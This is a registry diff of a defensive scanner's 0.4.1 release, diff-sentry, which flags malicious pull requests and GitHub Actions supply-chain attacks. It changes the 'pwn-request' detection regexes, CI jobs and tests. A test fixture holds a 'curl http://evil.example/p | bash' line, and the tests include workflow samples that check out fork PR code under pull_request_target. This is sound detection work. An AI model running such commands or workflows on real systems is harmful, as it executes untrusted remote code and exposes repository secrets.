diff-sentry 0.4.0__tar.gz → 0.4.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.github/workflows/ci.yml +28 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.github/workflows/release.yml +9 -4
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/CHANGELOG.md +30 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/PKG-INFO +5 -6
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/README.md +3 -4
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/action.yml +10 -6
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/__init__.py +1 -1
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/indicators.py +56 -5
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/pyproject.toml +1 -1
- diff_sentry-0.4.1/tests/fixtures/known-malicious.diff +1 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_indicators.py +45 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/uv.lock +1 -1
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.claude/rules/handoff.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.env.example +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.gitignore +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.python-version +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/CLAUDE.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/LICENSE +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/VENDOR.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/__main__.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/assemble.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/cli.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/config.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/deep_classify.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/detect.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/emit.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/fetch_tool.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/ingest.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/normalize.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/response.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/rl_export.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/rubric.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/schema.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/skills/ci-injection-patterns.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/skills/prompt-injection-catalog.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/skills/triage-a-change.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/README.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/__init__.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/__main__.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/cli.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/judge.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/schema.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/score.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/taskset.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/pyproject.toml +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/taskset.example.json +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/conftest.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_boundary.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_cli.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_judge.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_schema.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_score.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_taskset.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/DESIGN.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/README.md +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/__init__.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/app.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/iterations.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/live.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/mapper.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/pyproject.toml +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/app.js +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/index.html +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/replay-core.js +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/run-core.js +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/style.css +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/trajectory.js +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/vendor/fonts/jetbrains-mono-400.woff2 +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/vendor/fonts/jetbrains-mono-700.woff2 +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/replay-core.test.js +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/run-core.test.js +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/static-contract.test.js +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/test_app.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/test_iterations.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/test_live.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/test_mapper.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/trajectory.test.js +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/__init__.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/conftest.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/corpus/change_corpus.json +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/corpus/hackerbot_claw_incident.json +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_assemble.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_cli.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_config.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_deep_classify.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_detect.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_detection_quality.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_emit.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_export.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_fetch_tool.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_forward_offline.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_incident_hackerbot_claw.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_ingest.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_injection_offline.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_normalize.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_provenance.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_response.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_rubric.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_schema.py +0 -0
- {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_subscription.py +0 -0
|
@@ -102,6 +102,34 @@ jobs:
|
|
|
102
102
|
eval/diff_sentry_eval/taskset.py
|
|
103
103
|
*.md
|
|
104
104
|
|
|
105
|
+
# The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN
|
|
106
|
+
# that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI --
|
|
107
|
+
# covered by nothing: a quoting or resolution bug there would break every install while our own CI
|
|
108
|
+
# stayed green. This job exercises exactly that line against a known-malicious fixture.
|
|
109
|
+
consumer-install:
|
|
110
|
+
name: consumer install path (PyPI)
|
|
111
|
+
runs-on: ubuntu-latest
|
|
112
|
+
steps:
|
|
113
|
+
- uses: actions/checkout@v4
|
|
114
|
+
- name: Install uv
|
|
115
|
+
uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
|
|
116
|
+
with:
|
|
117
|
+
enable-cache: true
|
|
118
|
+
- name: The released package installs from PyPI and flags a malicious diff
|
|
119
|
+
run: |
|
|
120
|
+
set -euo pipefail
|
|
121
|
+
ver=$(uv run --no-project --with pyyaml python -c \
|
|
122
|
+
"import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
|
|
123
|
+
echo "action.yml default version: $ver"
|
|
124
|
+
# The fixture lives under tests/ (a report-only path) rather than inline here. This file is in
|
|
125
|
+
# the GATED half, so a payload written into it fails our own scan -- which is exactly what
|
|
126
|
+
# happened to the first version of this job. Payload samples belong where payloads are allowed.
|
|
127
|
+
# Must exit non-zero: a package that installs but scans nothing would otherwise pass silently.
|
|
128
|
+
if uvx "diff-sentry==${ver}" scan tests/fixtures/known-malicious.diff; then
|
|
129
|
+
echo "::error::the published package did not flag a known-malicious diff"
|
|
130
|
+
exit 1
|
|
131
|
+
fi
|
|
132
|
+
|
|
105
133
|
lint:
|
|
106
134
|
name: ruff
|
|
107
135
|
runs-on: ubuntu-latest
|
|
@@ -57,9 +57,14 @@ jobs:
|
|
|
57
57
|
tag="${TAG#v}"
|
|
58
58
|
wheel=$(basename dist/*.whl | cut -d- -f2)
|
|
59
59
|
installed=$(/tmp/smoke/bin/python -c "import diff_sentry; print(diff_sentry.__version__)")
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
60
|
+
# action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually
|
|
61
|
+
# runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so
|
|
62
|
+
# a user who upgraded to get a new rule would not get it and nothing would say so.
|
|
63
|
+
action=$(/tmp/smoke/bin/python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])" 2>/dev/null \
|
|
64
|
+
|| uv run --no-project --with pyyaml python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
|
|
65
|
+
echo "tag=$tag wheel=$wheel installed=$installed action.yml=$action"
|
|
66
|
+
if [ "$tag" != "$wheel" ] || [ "$wheel" != "$installed" ] || [ "$installed" != "$action" ]; then
|
|
67
|
+
echo "::error::version mismatch — tag=$tag wheel=$wheel installed=$installed action.yml=$action"
|
|
63
68
|
exit 1
|
|
64
69
|
fi
|
|
65
70
|
|
|
@@ -95,4 +100,4 @@ jobs:
|
|
|
95
100
|
name: dist
|
|
96
101
|
path: dist/
|
|
97
102
|
- name: Publish to PyPI
|
|
98
|
-
uses: pypa/gh-action-pypi-publish@
|
|
103
|
+
uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2
|
|
@@ -5,6 +5,36 @@ malicious intent — the diff held as **untrusted data** in a sandboxed REPL, a
|
|
|
5
5
|
and deterministic indicator evidence unioned on read into a SIEM signal — as a traced, improvable RLM
|
|
6
6
|
framework on [`rlm-harness`](https://github.com/qazbnm456/rlm-harness) (a BewAIre-style detector).
|
|
7
7
|
|
|
8
|
+
## 0.4.1
|
|
9
|
+
|
|
10
|
+
A correctness release for one rule: `pwn-request` was failing the very pattern this
|
|
11
|
+
project's README tells people to use.
|
|
12
|
+
|
|
13
|
+
### Changed
|
|
14
|
+
- **`pypa/gh-action-pypi-publish` bumped to v1.14.2** (from v1.14.0). `uv build` now emits core
|
|
15
|
+
metadata 2.5, and the twine bundled in v1.14.0 rejects it — `InvalidDistribution: '2.5' is not a
|
|
16
|
+
valid metadata version` — so the first attempt at this release built cleanly and then failed at
|
|
17
|
+
the upload step. v1.14.2 carries Twine 7, which accepts metadata 2.5.
|
|
18
|
+
|
|
19
|
+
### Fixed
|
|
20
|
+
- **`pwn-request` no longer fires on a workflow that merely READS the PR head.** The rule paired a
|
|
21
|
+
privileged trigger with a PR-HEAD *mention* anywhere in the text and called that a checkout, so the
|
|
22
|
+
validating-publisher shape — `workflow_run`, head SHA in an env var, checkout pinned to the default
|
|
23
|
+
branch — was graded `critical`, identically to the attack. That is the shape README.md tells people to
|
|
24
|
+
use, next to the sentence "diff-sentry's own rules make the same distinction, so the safe shape does
|
|
25
|
+
not trip them"; it did trip them. Escalation now requires the expression to actually reach a checkout:
|
|
26
|
+
an `actions/checkout` `ref:` value, or a `git checkout`/`git fetch`/`gh pr checkout` command. A bare
|
|
27
|
+
mention keeps the sub-floor `medium` `privileged-fork-trigger`, cited at the reference rather than the
|
|
28
|
+
trigger line so a reviewer still lands on the spot worth reading. Found by running the action against
|
|
29
|
+
a real publisher workflow.
|
|
30
|
+
- **`pwn-request` now follows one binding hop.** `HEAD: ${{ github.event.pull_request.head.sha }}`
|
|
31
|
+
followed by `ref: ${{ env.HEAD }}` is the same attack split across two lines. Requiring the expression
|
|
32
|
+
to sit on the `ref:` line would have turned the fix above into a free bypass, so a name bound to the
|
|
33
|
+
head expression is tracked and a `ref:` that reads it counts as the checkout.
|
|
34
|
+
- **`refs/pull/…` matching tolerates interpolation.** `refs/pull/${{ github.event.number }}/head` — the
|
|
35
|
+
form that actually appears in the wild — was missed, because the character class stopped at the space
|
|
36
|
+
inside the expression. A hand-rolled `git fetch` of the PR head is caught now.
|
|
37
|
+
|
|
8
38
|
## 0.4.0
|
|
9
39
|
|
|
10
40
|
The first release, and a repositioning: the front door is now a GitHub Action anyone installs in fifteen
|
|
@@ -1,6 +1,6 @@
|
|
|
1
|
-
Metadata-Version: 2.
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
2
|
Name: diff-sentry
|
|
3
|
-
Version: 0.4.
|
|
3
|
+
Version: 0.4.1
|
|
4
4
|
Summary: Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress.
|
|
5
5
|
Author: Boik Su
|
|
6
6
|
License-Expression: MIT
|
|
@@ -44,11 +44,10 @@ jobs:
|
|
|
44
44
|
- uses: actions/checkout@v4
|
|
45
45
|
with:
|
|
46
46
|
fetch-depth: 0 # the scan diffs against the PR base
|
|
47
|
-
- uses: qazbnm456/diff-sentry@
|
|
47
|
+
- uses: qazbnm456/diff-sentry@v0.4.1
|
|
48
48
|
```
|
|
49
49
|
|
|
50
|
-
That is the whole setup. The job fails when an indicator at or above `high` fires.
|
|
51
|
-
tag rather than `main` once you depend on it.
|
|
50
|
+
That is the whole setup. The job fails when an indicator at or above `high` fires.
|
|
52
51
|
|
|
53
52
|
## What it catches
|
|
54
53
|
|
|
@@ -79,7 +78,7 @@ payload does not flag the change that removes it.
|
|
|
79
78
|
| `fail-on` | `high` | Severity that fails the build (`info`/`low`/`medium`/`high`/`critical`). |
|
|
80
79
|
| `report-only-paths` | none | Newline-separated globs scanned but never gated. For files whose job is to carry attack patterns: rule bodies, security fixtures, prompt templates, docs that tabulate payloads. |
|
|
81
80
|
| `base-sha` | derived | Override the commit to diff against. |
|
|
82
|
-
| `version` |
|
|
81
|
+
| `version` | matches the action tag | The diff-sentry release to install from PyPI. `local` installs from the current checkout instead, which is how this repo scans its own PRs with the rules in that PR. |
|
|
83
82
|
|
|
84
83
|
Outputs: `failed`, `hit-count`, `max-severity`, and `report` (a JSON path).
|
|
85
84
|
|
|
@@ -23,11 +23,10 @@ jobs:
|
|
|
23
23
|
- uses: actions/checkout@v4
|
|
24
24
|
with:
|
|
25
25
|
fetch-depth: 0 # the scan diffs against the PR base
|
|
26
|
-
- uses: qazbnm456/diff-sentry@
|
|
26
|
+
- uses: qazbnm456/diff-sentry@v0.4.1
|
|
27
27
|
```
|
|
28
28
|
|
|
29
|
-
That is the whole setup. The job fails when an indicator at or above `high` fires.
|
|
30
|
-
tag rather than `main` once you depend on it.
|
|
29
|
+
That is the whole setup. The job fails when an indicator at or above `high` fires.
|
|
31
30
|
|
|
32
31
|
## What it catches
|
|
33
32
|
|
|
@@ -58,7 +57,7 @@ payload does not flag the change that removes it.
|
|
|
58
57
|
| `fail-on` | `high` | Severity that fails the build (`info`/`low`/`medium`/`high`/`critical`). |
|
|
59
58
|
| `report-only-paths` | none | Newline-separated globs scanned but never gated. For files whose job is to carry attack patterns: rule bodies, security fixtures, prompt templates, docs that tabulate payloads. |
|
|
60
59
|
| `base-sha` | derived | Override the commit to diff against. |
|
|
61
|
-
| `version` |
|
|
60
|
+
| `version` | matches the action tag | The diff-sentry release to install from PyPI. `local` installs from the current checkout instead, which is how this repo scans its own PRs with the rules in that PR. |
|
|
62
61
|
|
|
63
62
|
Outputs: `failed`, `hit-count`, `max-severity`, and `report` (a JSON path).
|
|
64
63
|
|
|
@@ -35,12 +35,16 @@ inputs:
|
|
|
35
35
|
default: ''
|
|
36
36
|
version:
|
|
37
37
|
description: >-
|
|
38
|
-
The diff-sentry
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
is
|
|
38
|
+
The diff-sentry release to install from PyPI. Defaults to the version that
|
|
39
|
+
ships with this action tag, so `uses: …@vX.Y.Z` and the package it runs stay
|
|
40
|
+
in step. The special value `local` installs from the current checkout instead,
|
|
41
|
+
which is what this repo's own CI uses so that a PR is scanned by the rules IN
|
|
42
|
+
that PR rather than by the ones already on main.
|
|
42
43
|
required: false
|
|
43
|
-
|
|
44
|
+
# KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts
|
|
45
|
+
# from the tag being released, because a stale default here would silently run an
|
|
46
|
+
# old scanner under a new action tag.
|
|
47
|
+
default: '0.4.1'
|
|
44
48
|
|
|
45
49
|
outputs:
|
|
46
50
|
failed:
|
|
@@ -120,7 +124,7 @@ runs:
|
|
|
120
124
|
if [ "$IN_VERSION" = "local" ]; then
|
|
121
125
|
SENTRY=(uvx --from "$GITHUB_WORKSPACE" diff-sentry)
|
|
122
126
|
else
|
|
123
|
-
SENTRY=(uvx
|
|
127
|
+
SENTRY=(uvx "diff-sentry==${IN_VERSION}")
|
|
124
128
|
fi
|
|
125
129
|
|
|
126
130
|
set +e
|
|
@@ -127,9 +127,36 @@ _WRITE_ALL_RE = re.compile(r"^[+ ]?\s*permissions\s*:\s*write-all\b", re.IGNOREC
|
|
|
127
127
|
# AsyncAPI "Miasma" supply-chain compromise (a fork PR harvested the org-admin token out of the runner),
|
|
128
128
|
# and it has no safe reading → `critical`.
|
|
129
129
|
_PRIV_TRIGGER_RE = re.compile(r"^[+ ]?\s*(?:pull_request_target|workflow_run)\s*:", re.MULTILINE)
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
130
|
+
|
|
131
|
+
# The PR-HEAD expressions themselves, shared by the two patterns below — which differ only in what they
|
|
132
|
+
# require the expression to DO. A bare MENTION is not a checkout: the recommended `workflow_run`
|
|
133
|
+
# publisher (the safe way to comment on a fork PR, since `pull_request` hands forks a read-only token)
|
|
134
|
+
# reads `workflow_run.head_sha` precisely to VALIDATE the artifact it was given, and gating on the
|
|
135
|
+
# mention alone failed that pattern exactly as hard as the attack it is meant to catch.
|
|
136
|
+
_PR_HEAD_EXPR = (r"github\.event\.pull_request\.head\.(?:sha|ref)"
|
|
137
|
+
r"|github\.event\.workflow_run\.head_(?:sha|branch)"
|
|
138
|
+
# The interpolated form `refs/pull/${{ github.event.number }}/head` is the one that
|
|
139
|
+
# actually appears in the wild; a bare `[^\s"']*` stops at the space inside the
|
|
140
|
+
# expression, so the interpolation blob is spelled out as its own alternative.
|
|
141
|
+
r"|refs/pull/(?:\$\{\{[^{}]*\}\}|[^\s\"'])*/(?:head|merge)")
|
|
142
|
+
_PR_HEAD_REF_RE = re.compile(_PR_HEAD_EXPR, re.IGNORECASE)
|
|
143
|
+
|
|
144
|
+
# The expression BECOMING a checkout: an `actions/checkout` `ref:` value, or a git/gh command that
|
|
145
|
+
# fetches or checks it out.
|
|
146
|
+
_PR_HEAD_CHECKOUT_RE = re.compile(
|
|
147
|
+
rf"^[+ ]?\s*ref\s*:[^\n]*(?:{_PR_HEAD_EXPR})"
|
|
148
|
+
rf"|(?:git\s+(?:checkout|fetch|pull)|gh\s+pr\s+checkout)[^\n]*(?:{_PR_HEAD_EXPR})",
|
|
149
|
+
re.IGNORECASE | re.MULTILINE)
|
|
150
|
+
|
|
151
|
+
# One hop of indirection — the same lethal shape written as two lines:
|
|
152
|
+
# HEAD: ${{ github.event.pull_request.head.sha }} … ref: ${{ env.HEAD }}
|
|
153
|
+
# Matching only the direct form would leave that as a trivial bypass, so a name bound to the head
|
|
154
|
+
# expression is tracked and a `ref:` that reads it counts as the checkout.
|
|
155
|
+
_HEAD_BINDING_RE = re.compile(
|
|
156
|
+
rf"^[+ ]?\s*([A-Za-z_][A-Za-z0-9_-]*)\s*[:=]\s*[^\n]*(?:{_PR_HEAD_EXPR})",
|
|
157
|
+
re.IGNORECASE | re.MULTILINE)
|
|
158
|
+
_REF_VALUE_RE = re.compile(r"^[+ ]?\s*ref\s*:\s*([^\n]*)", re.IGNORECASE | re.MULTILINE)
|
|
159
|
+
_IDENT_RE = re.compile(r"[A-Za-z_][A-Za-z0-9_-]*")
|
|
133
160
|
|
|
134
161
|
# Diff-PRESENTATION evasion — attacks aimed at the human reading the diff, not at the runtime. Miasma
|
|
135
162
|
# prepended ~700 spaces to shove its payload off the right edge of a standard diff viewer. No source
|
|
@@ -281,16 +308,40 @@ def _scan_workflow_perms(text: str) -> list[IndicatorHit]:
|
|
|
281
308
|
for m in _WRITE_ALL_RE.finditer(text)]
|
|
282
309
|
|
|
283
310
|
|
|
311
|
+
def _pr_head_checkout(text: str) -> re.Match[str] | None:
|
|
312
|
+
"""Where a PR-HEAD expression actually reaches a checkout — directly, or through one binding."""
|
|
313
|
+
direct = _PR_HEAD_CHECKOUT_RE.search(text)
|
|
314
|
+
if direct:
|
|
315
|
+
return direct
|
|
316
|
+
# `ref:` is not a binding — a `ref:` holding the expression IS the direct case above.
|
|
317
|
+
bound = {m.group(1).lower() for m in _HEAD_BINDING_RE.finditer(text)} - {"ref"}
|
|
318
|
+
if not bound:
|
|
319
|
+
return None
|
|
320
|
+
for m in _REF_VALUE_RE.finditer(text):
|
|
321
|
+
if any(name.lower() in bound for name in _IDENT_RE.findall(m.group(1))):
|
|
322
|
+
return m
|
|
323
|
+
return None
|
|
324
|
+
|
|
325
|
+
|
|
284
326
|
def _scan_workflow_config(text: str) -> list[IndicatorHit]:
|
|
285
327
|
"""What a workflow BECOMES, not merely that one was touched (`workflow-tamper`'s job)."""
|
|
286
328
|
trigger = _PRIV_TRIGGER_RE.search(text)
|
|
287
329
|
if not trigger:
|
|
288
330
|
return []
|
|
289
|
-
|
|
290
|
-
if
|
|
331
|
+
checkout = _pr_head_checkout(text)
|
|
332
|
+
if checkout:
|
|
291
333
|
return [_hit("pwn-request", "critical",
|
|
292
334
|
"privileged fork trigger checks out the PR HEAD — untrusted code with the base "
|
|
293
335
|
"repo's token/secrets",
|
|
336
|
+
_snip(text, checkout.start(), checkout.end()))]
|
|
337
|
+
head = _PR_HEAD_REF_RE.search(text)
|
|
338
|
+
if head:
|
|
339
|
+
# Reads the head ref without checking it out. That is the validating-publisher shape, which is
|
|
340
|
+
# the RECOMMENDED way to comment on a fork PR — so it stays sub-floor, but it is cited rather
|
|
341
|
+
# than the trigger line, because this is the spot a reviewer should look at.
|
|
342
|
+
return [_hit("privileged-fork-trigger", "medium",
|
|
343
|
+
"`pull_request_target`/`workflow_run` reads the PR HEAD without checking it out — "
|
|
344
|
+
"confirm the ref never reaches a checkout",
|
|
294
345
|
_snip(text, head.start(), head.end()))]
|
|
295
346
|
return [_hit("privileged-fork-trigger", "medium",
|
|
296
347
|
"`pull_request_target`/`workflow_run` — a fork PR runs in a privileged context",
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
[project]
|
|
2
2
|
name = "diff-sentry"
|
|
3
|
-
version = "0.4.
|
|
3
|
+
version = "0.4.1"
|
|
4
4
|
description = "Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress."
|
|
5
5
|
readme = "README.md"
|
|
6
6
|
requires-python = ">=3.11"
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
+run: curl http://evil.example/p | bash
|
|
@@ -104,6 +104,26 @@ _PWN = ("on:\n pull_request_target:\n types: [opened]\njobs:\n p:\n step
|
|
|
104
104
|
" ref: ${{ github.event.pull_request.head.sha }}\n")
|
|
105
105
|
_LABEL_BOT = "on:\n pull_request_target:\n types: [opened]\njobs:\n l:\n steps:\n - uses: actions/labeler@v5\n"
|
|
106
106
|
|
|
107
|
+
# The RECOMMENDED way to comment on a fork PR: `pull_request` hands a fork a read-only token, so the
|
|
108
|
+
# verdict is produced by an unprivileged run and published from `workflow_run`, which reads the head SHA
|
|
109
|
+
# only to CHECK that the artifact belongs to the PR it claims. It checks out the default branch.
|
|
110
|
+
_SAFE_PUBLISHER = (
|
|
111
|
+
"on:\n workflow_run:\n workflows: [\"PR auto-review\"]\n types: [completed]\n"
|
|
112
|
+
"permissions:\n pull-requests: write\njobs:\n publish:\n steps:\n"
|
|
113
|
+
" - uses: actions/checkout@v4\n with:\n"
|
|
114
|
+
" ref: ${{ github.event.repository.default_branch }}\n"
|
|
115
|
+
" - run: python3 scripts/publish.py\n env:\n"
|
|
116
|
+
" EXPECTED_SHA: ${{ github.event.workflow_run.head_sha }}\n")
|
|
117
|
+
# The same lethal shape as _PWN, written across two lines to dodge a single-line match.
|
|
118
|
+
_PWN_INDIRECT = (
|
|
119
|
+
"on:\n pull_request_target:\n types: [opened]\nenv:\n"
|
|
120
|
+
" HEAD_REF: ${{ github.event.pull_request.head.sha }}\njobs:\n p:\n steps:\n"
|
|
121
|
+
" - uses: actions/checkout@v4\n with:\n ref: ${{ env.HEAD_REF }}\n")
|
|
122
|
+
# Checkout by hand rather than through actions/checkout.
|
|
123
|
+
_PWN_GIT_FETCH = (
|
|
124
|
+
"on:\n pull_request_target:\n types: [opened]\njobs:\n p:\n steps:\n"
|
|
125
|
+
" - run: git fetch origin refs/pull/${{ github.event.number }}/head && git checkout FETCH_HEAD\n")
|
|
126
|
+
|
|
107
127
|
|
|
108
128
|
def test_pwn_request_is_critical_but_bare_privileged_trigger_is_sub_floor():
|
|
109
129
|
"""The root cause of Miasma. `pull_request_target` PLUS a PR-head checkout runs attacker code with
|
|
@@ -118,6 +138,31 @@ def test_pwn_request_is_critical_but_bare_privileged_trigger_is_sub_floor():
|
|
|
118
138
|
assert trig and trig[0].severity == "medium"
|
|
119
139
|
|
|
120
140
|
|
|
141
|
+
def test_pwn_request_needs_a_checkout_not_a_mention():
|
|
142
|
+
"""Reading the PR head is not checking it out. The validating publisher — `workflow_run`, head SHA
|
|
143
|
+
in an env var, checkout pinned to the default branch — is the pattern GitHub recommends for fork
|
|
144
|
+
PRs, and it must not be graded as the attack it exists to avoid. It stays a sub-floor `medium`,
|
|
145
|
+
cited at the head reference so a reviewer still looks there."""
|
|
146
|
+
hits = scan_indicators(_SAFE_PUBLISHER)
|
|
147
|
+
assert "pwn-request" not in _rules(hits)
|
|
148
|
+
trig = [h for h in hits if h.rule == "privileged-fork-trigger"]
|
|
149
|
+
assert trig and trig[0].severity == "medium"
|
|
150
|
+
assert "workflow_run.head_sha" in trig[0].evidence
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
def test_pwn_request_follows_one_binding_hop():
|
|
154
|
+
